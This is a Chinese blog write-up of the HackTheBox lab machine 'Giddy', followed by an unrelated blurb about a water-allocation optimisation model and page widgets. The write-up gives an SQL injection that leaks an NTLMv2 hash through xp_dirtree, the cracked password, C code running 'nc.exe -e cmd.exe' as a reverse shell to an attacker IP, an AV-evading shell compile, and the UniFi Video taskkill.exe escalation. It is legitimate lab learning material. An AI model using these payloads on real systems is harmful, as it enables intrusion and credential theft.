hackthebox -giddy( mssql NTLMv2 hash & unifivideo提权)

本文详细介绍了通过扫描发现mssql NTLMv2 hash,利用john进行解密,然后在网页中找到powershell执行权限。接着,通过unifivideo提权,尝试创建taskkill文件进行shell反弹,但由于杀软拦截未能成功。最终,使用impacket包进行smbserver文件传输,并在靶机上执行重启,成功完成提权。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1、扫描

扫描都是很常规的端口

2、网页信息搜集 mssql NTLMv2 hash

扫目录

gobuster dir -u http://10.10.10.104/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100

在这里插入图片描述

remote是登录框,没密码
mvc可以看到不同数字不同页面。疑似数据库注入。这个数据库提示见多了就知道是mssql
在这里插入图片描述
在这里插入图片描述

参考这个https://zhuanlan.zhihu.com/p/110454024
本机

responder -I tun0

靶机

http://10.10.10.104/mvc/Product.aspx?ProductSubCategoryId=1;%20EXEC%20MASTER.sys.xp_dirtree%20%27\\10.10.14.15\fakeshare%27

john解密

/root/exp/JohnTheRipper-bleeding-jumbo/run/john pass --wordlist=/usr/share/wordlists/rockyou.txt

在这里插入图片描述

得到

xNnWo6272k7x

回到remote目录,登录框,依次输入

giddy\stacy
xNnWo6272k7x
giddy

在网页上拿到powershell

3、unifivideo提权

在用户的document里看到unifivideo

在这里插入图片描述

网上搜漏洞

https://www.exploit-db.com/exploits/43390

说是这个目录下建个taskkill就行了,里面放弹shell代码。再关闭-重启

C:\ProgramData\unifi-video\taskkill.exe

我试着做了一个exe

#include "stdafx.h"
#include "stdlib.h"


int main()
{
    system("nc.exe -e cmd.exe 10.10.14.15 4444");
    return 0;
}

传这个和nc进去,但是弹不了shell,应该是被杀软截了
继续突破,把这个拷下来,底部的弹shell 地址和端口 改成自己的

https://github.com/paranoidninja/0xdarkvortex-MalwareDevelopment/blob/master/prometheus.cpp

转换成exe

i686-w64-mingw32-g++ prometheus.cpp -o taskkill.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants

著名的impacket包https://github.com/SecureAuthCorp/impacket 进行smbserver 传文件。 目录根据你自己定

smbserver.py share '/root/exp'

靶机里powershell ,copy \\10.10.14.15\share\nc.execopy \\10.10.14.15\share\taskkill.exe
一切准备就绪后执行重启Restart-Service -Name "Ubiquiti UniFi Video"

本机收到,搞定
在这里插入图片描述

内容概要:本文档介绍了一个多目标规划模型,该模型旨在优化与水资源分配相关的多个目标。它包含四个目标函数:最小化F1(x),最大化F2(x),最小化F3(x)和最小化F4(x),分别对应于不同的资源或环境指标。每个目标函数都有具体的数值目标,如F1的目标值为1695亿立方米水,而F2则追求达到195.54亿立方米等。此外,模型还设定了若干约束条件,包括各区域内的水量限制以及确保某些变量不低于特定百分比的下限。特别地,为了保证模型的有效性和合理性,出需要解决目标函数间数据尺度不一致的问题,并建议采用遗传算法或其他先进算法进行求解,以获得符合预期的决策变量Xi(i=1,2,...,14)的结果。 适合人群:对数学建模、运筹学、水资源管理等领域感兴趣的科研人员、高校师生及从业者。 使用场景及目标:①适用于研究涉及多目标优化问题的实际案例,尤其是水资源分配领域;②帮助读者理解如何构建和求解复杂的多目标规划问题,掌握处理不同尺度数据的方法;③为从事相关工作的专业人士供理论参考和技术支持。 阅读建议:由于文档涉及到复杂的数学公式和专业术语,在阅读时应先熟悉基本概念,重点关注目标函数的具体定义及其背后的物理意义,同时注意理解各个约束条件的设计意图。对于到的数据尺度不一致问题,建议深入探讨可能的解决方案,
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值